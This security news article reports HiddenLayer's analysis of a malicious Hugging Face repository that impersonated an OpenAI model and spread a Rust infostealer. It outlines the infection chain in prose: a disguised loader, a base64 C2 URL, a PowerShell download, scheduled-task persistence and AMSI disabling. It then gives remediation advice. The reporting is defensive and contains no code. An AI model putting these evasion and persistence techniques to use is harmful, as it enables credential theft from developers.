A Sophisticated Attack Undermines Trust in Public LLM Registries

A recent investigation by the AI security firm HiddenLayer has brought to light a significant incident that raises concerns about the security of the AI software supply chain. A malicious repository on Hugging Face, named 'Open-OSS/privacy-filter,' impersonated an official OpenAI release, successfully distributing infostealer malware to numerous Windows machines. Before its removal, the repository recorded approximately 244,000 downloads, although HiddenLayer suggests this number may have been artificially inflated by the attackers to simulate greater popularity. The attack exploited the trust of developers and data scientists who often clone models directly into corporate environments, thereby exposing critical infrastructure to unexpected risks.

The incident highlights an emerging vulnerability: public AI model registries, while valuable resources for innovation and collaboration, can become vectors for software supply chain attacks. For organizations adopting on-premise or self-hosted deployment strategies, cloning models from external sources requires extreme vigilance, as these environments often hold access to source code, cloud credentials, and sensitive internal systems. The compromise of a model repository in this context goes far beyond a mere nuisance, threatening data sovereignty and the integrity of the entire infrastructure.

Technical Details of Infection and Persistence

The attack relied on an almost perfect replica of OpenAI's original model card, with the addition of a malicious loader.py file. This script, initially disguised as legitimate AI model loader code, quickly initiated a hidden infection chain. The process involved disabling SSL verification, decoding a base64-encoded URL linked to jsonkeeper.com (used as a command-and-control channel to rotate the payload without altering the repository's content), and executing commands via PowerShell on Windows machines.

The PowerShell command then downloaded an additional batch file from an attacker-controlled domain. To ensure persistence on the system, the malware created a scheduled task mimicking a legitimate Microsoft Edge update process. The final payload was a Rust-based infostealer, designed to target sensitive data: Chromium and Firefox-derived browsers, Discord local storage, cryptocurrency wallets, FileZilla configurations, and host system information. The malware also attempted to disable Windows Antimalware Scan Interface (AMSI) and Event Tracing, making detection and forensic analysis more challenging.

Implications for AI Supply Chain Security

This episode is not isolated. HiddenLayer identified six other repositories on Hugging Face with nearly identical loader logic and shared infrastructure with the described attack. These cases add to previous warnings about malicious AI models, including compromised AI SDKs and fake installers, highlighting a worrying trend: attackers are exploiting AI development workflows as an entry point into normally secure environments. AI repositories often contain executable code, setup instructions, dependency files, notebooks, and scripts – it is precisely these peripheral elements, rather than the models themselves, that represent the weak point.

Security experts emphasize how traditional Software Composition Analysis (SCA) solutions, designed to inspect dependency manifests, libraries, and container images, are less effective at identifying malicious loader logic within AI repositories. For companies considering on-premise LLM deployment, the need for deep visibility into every component of the AI pipeline is crucial. TCO management in these contexts must include investments in tools and processes that go beyond superficial scanning, ensuring that every AI artifact is verified for its integrity and provenance.

Mitigation and Future Outlook

HiddenLayer provided clear recommendations for anyone who cloned 'Open-OSS/privacy-filter' and ran start.bat, python loader.py, or any other file from the repository on a Windows host: the system should be considered compromised, and a complete re-imaging is recommended. Browser sessions should be considered compromised even if passwords are not stored locally, as session cookies can allow attackers to bypass multi-factor authentication (MFA) in certain circumstances. Hugging Face has confirmed the removal of the repository in question.

In a broader context, IDC's November 2025 FutureScape report suggests that by 2027, 60% of agentic AI systems should have a "bill of materials" (SBOM). This tool would help companies track the AI artifacts used, their origin, approved versions, and the presence of executable components. The adoption of SBOMs is fundamental to improving transparency and security in the AI supply chain, a critical aspect for anyone managing complex infrastructures and evaluating self-hosted AI solutions, where control and data sovereignty are absolute priorities. For those evaluating on-premise deployments, AI-RADAR offers analytical frameworks on /llm-onpremise to assess the trade-offs between security, control, and TCO.